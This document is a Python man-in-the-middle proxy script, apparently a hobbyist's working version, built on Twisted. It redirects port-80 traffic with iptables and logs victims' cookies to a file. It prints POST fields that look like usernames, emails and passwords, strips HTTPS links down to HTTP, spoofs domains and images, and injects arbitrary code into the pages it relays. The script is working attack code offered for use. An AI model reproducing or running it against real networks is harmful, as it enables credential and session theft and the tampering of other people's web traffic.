Proxy, works this time I swear

#!/usr/bin/python
from twisted.web import http
from twisted.internet import reactor, protocol
import re, sys, os, gzip, argparse, zlib

#Terminal colors
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'

#Some variables for easy toggling of features
ssl_strip = True
add_html = False
replace_images = False

#set up iptables
os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
#os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080")

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--spoof-domain", help="comma-separated list of domains, each domain corresponds to one domain in spoof-with")
    parser.add_argument("--spoof-with", help="comma-separated list of domains")
    parser.add_argument("--replace-images", help="replace images with the image in the link")
    parser.add_argument("--ide", help="intercept files with the given extension")
    parser.add_argument("--idu", help="url with target file")
    parser.add_argument("--block", help="comma-separated list of domains to block")
    parser.add_argument("--add-code", help="add code to browsed pages")
    parser.add_argument("--block-message", help="message to show when a website is blocked")
    parser.add_argument("--save-cookies", help="save cookies to cookies.txt", action='store_true')
    return parser.parse_args()

args = parse_args()
if args.spoof_domain or args.spoof_with:
    if not args.spoof_domain:
        sys.exit("spoof-domain missing")
    elif not args.spoof_with:
        sys.exit("spoof-with missing")
try:
    global domain_list
    domain_list = zip(args.spoof_domain.split(","), args.spoof_with.split(","))
    print(domain_list)
except:
    pass

if args.block:
    global block
    block = args.block.split("/")

if args.ide or args.idu:
    if not args.ide:
        sys.exit("ide missing")
    elif not args.idu:
        sys.exit("idu missing")

if args.replace_images:
    args.replace_images = args.replace_images.replace("http://","")
    if not args.replace_images.startswith("www."):
        args.replace_images = "www."+args.replace_images

try:
    class ProxyClient(http.HTTPClient):
        def __init__(self, method, uri, postData, headers, originalRequest):
            self.method = method
            self.uri = uri
            self.postData = postData
            self.headers = headers
            self.originalRequest = originalRequest
            self.contentLength = None

        def sendRequest(self):
            self.sendCommand(self.method, self.uri)

        def sendHeaders(self):
            for key, values in self.headers:
                #print(key, values)
                if key.lower() == 'connection':
                    values = ['close']
                elif key.lower() == 'keep-alive':
                    next
                elif key.lower() == 'cookie':
                    if args.save_cookies:
                        global host
                        with open("cookies.txt","a+") as f:
                            if host not in f.read():
                                f.write("Host: "+host+"\n")
                                for line in values:
                                    for cookie in line.split(";"):
                                        f.write("\t"+cookie.strip()+"\n")
                elif key.lower() == 'accept-encoding':
                    values = ['gzip'] #Ask sites to return gzip-encoded pages

                for value in values:
                    self.sendHeader(key, value)
            self.endHeaders()

        def sendPostData(self):
            self.transport.write(self.postData)

        def connectionMade(self):
            self.sendRequest()
            self.sendHeaders()
            if self.method == 'POST':
                self.sendPostData()

        def handleStatus(self, version, code, message):
            #global dirme
            #dirme = False
            global filename
            if code.startswith("4"):
                print(FAIL+"<- "+version+" "+code+" "+message+ENDC)
            elif code.startswith("2"): #Print server response
                print(OKGREEN+"<- "+version+" "+code+" "+message+ENDC)
            elif code == "301":
                print(BOLD+FAIL+"<- "+version+" "+code+" "+message+ENDC)
#               code = "200"
#               dirme = True
            elif filename:
                code = "200"
            else:
                print(OKBLUE+"<- "+version+" "+code+" "+message+ENDC)
            self.originalRequest.setResponseCode(int(code), message)

        def handleHeader(self, key, value):
            if key.lower() == 'content-length':
                self.contentLength = value
            elif key.lower() == 'cookie':
                value = ['']
            elif key.lower() == 'content-encoding':
                    value = ['text/html; charset=utf-8']
            else:       #Change text encoding to plaintext, since we decoded it
                self.originalRequest.responseHeaders.addRawHeader(key, value)

        def handleResponse(self, data):
            #global dirme
            #global host
            #global uri
            data = self.originalRequest.processResponse(data)
            global filename
            if filename:
                data = ""
                with open("index.html","r") as f:
                    data = f.read()
                filename = False
#           if dirme:
#               context = ssl._create_unverified_context()
#               h = urllib2.urlopen("https://"+self.originalRequest.getHeader('host')+uri, context=context)
#               data = h.read()
#               data.replace("https://","http://")
#               #data.replace("post","get")
#               dirme = False
#               print(data) #SSL stripping, removed until I can be bothered to fix it

            if self.contentLength != None:
                self.originalRequest.setHeader('Content-Length', len(data))
            self.originalRequest.write(data)
            try:
                self.originalRequest.finish()
                self.transport.loseConnection()
            except:
                pass

    class ProxyClientFactory(protocol.ClientFactory):
        def __init__(self, method, uri, postData, headers, originalRequest):
            self.protocol = ProxyClient
            self.method = method
            self.uri = uri
            self.postData = postData
            self.headers = headers
            self.originalRequest = originalRequest

        def buildProtocol(self, addr):
            return self.protocol(self.method, self.uri, self.postData,
                                 self.headers, self.originalRequest)

        def clientConnectionFailed(self, connector, reason):
            self.originalRequest.setResponseCode(504)
            try:
                self.originalRequest.finish()
            except:
                pass

    class ProxyRequest(http.Request):
        def __init__(self, channel, queued, reactor=reactor):
            http.Request.__init__(self, channel, queued)
            self.reactor = reactor
        def process(self):
            global uri
            global domain_list
            uri = self.uri
            global host
            spoofed = ""
            host = self.getHeader('host')

            if not host:
                self.setResponseCode(400)
                self.finish()
                return

            if args.block:
                global block
                for elem in block:
                    if elem in host:
                        print(WARNING+"-- Blocked "+host+ENDC)
                        self.setResponseCode(200)
                        if args.block_message:
                            self.write(args.block_message)
                        self.finish()
                        return
            global filename
            filename = False
            if args.spoof_domain and args.spoof_with:
                for spoof_dom, spoof_with in domain_list:
                    if str(spoof_dom) in host:
                        spoofed = "SPOOFED FROM "+host+self.uri
                        if "localfile" in spoof_with:
                            spoof_with = ""
                            filename = True
                        host = "www.example.com"

            if args.ide:
                if self.uri.endswith(args.ide):
                    host = args.idu.split("/")[0]
                    self.uri = "/"+"/".join(args.idu.split("/")[1:])

            port = 80
            if ':' in host:
                host, port = host.split(':')
                port = int(port)


            imagetypes = ["image/gif","image/jpeg","image/png"] #header values which show the browser is expecting an image
            try:
                if self.getHeader('accept').split(',')[0] in imagetypes and args.replace_images:
                #Replace image links with this
                    print(args.replace_images)
                    spoofed = "SPOOFED FROM "+host+self.uri
                    host = args.replace_images.split("/")[0]
                    self.uri = "/"+"/".join(args.replace_images.split("/")[1:])
            except:
                pass


            self.setHost(host, port)
            self.content.seek(0, 0)
            postData = self.content.read()
            #There's probably a more efficient way of finding user and pass
            if self.method == "POST":
                print(BOLD+OKGREEN+"-> "+self.method+" "+host+self.uri+ENDC+" "+HEADER+spoofed+ENDC)
                if "ajax" not in self.uri:
                    for element in postData.split("&"):
                        for element in element.split("%22"):
                            if "email" in element or "user" in element or "pass" in element or "login" in element and "=" in element:
                                print("   "+BOLD+OKGREEN+element+ENDC)

            else:
                print(OKBLUE+"-> "+self.method+" "+host+self.uri+HEADER+" "+spoofed+ENDC)

            factory = ProxyClientFactory(self.method, self.uri, postData,
                                         self.requestHeaders.getAllRawHeaders(),
                                         self)
            self.reactor.connectTCP(host, port, factory)

        def processResponse(self, data):
            try:
                gunzip_fail = False
                newdata = zlib.decompress(data, 16+zlib.MAX_WBITS) #Gunzip
            except: #Try decompressing
                gunzip_fail = True
            if not gunzip_fail: #Don't add html if failed gunzipping
                if args.add_code:
                    newdata+=str(args.add_code)
                    print(args.add_code)
                newdata = newdata.replace("https://","http://")#Strip https links
                return newdata

            else:
                if str(args.add_code):
                    data+=str(args.add_code)
                data = data.replace("https://","http://")
                return data

    class TransparentProxy(http.HTTPChannel):
        requestFactory = ProxyRequest

    class ProxyFactory(http.HTTPFactory):
        protocol = TransparentProxy

    reactor.listenTCP(8080, ProxyFactory())
    print("Running")
    reactor.run()
finally:
    os.system("iptables -F")
    os.system("iptables -X") #Remove everything from iptables
    os.system("iptables -t nat -F")
    os.system("iptables -t nat -X")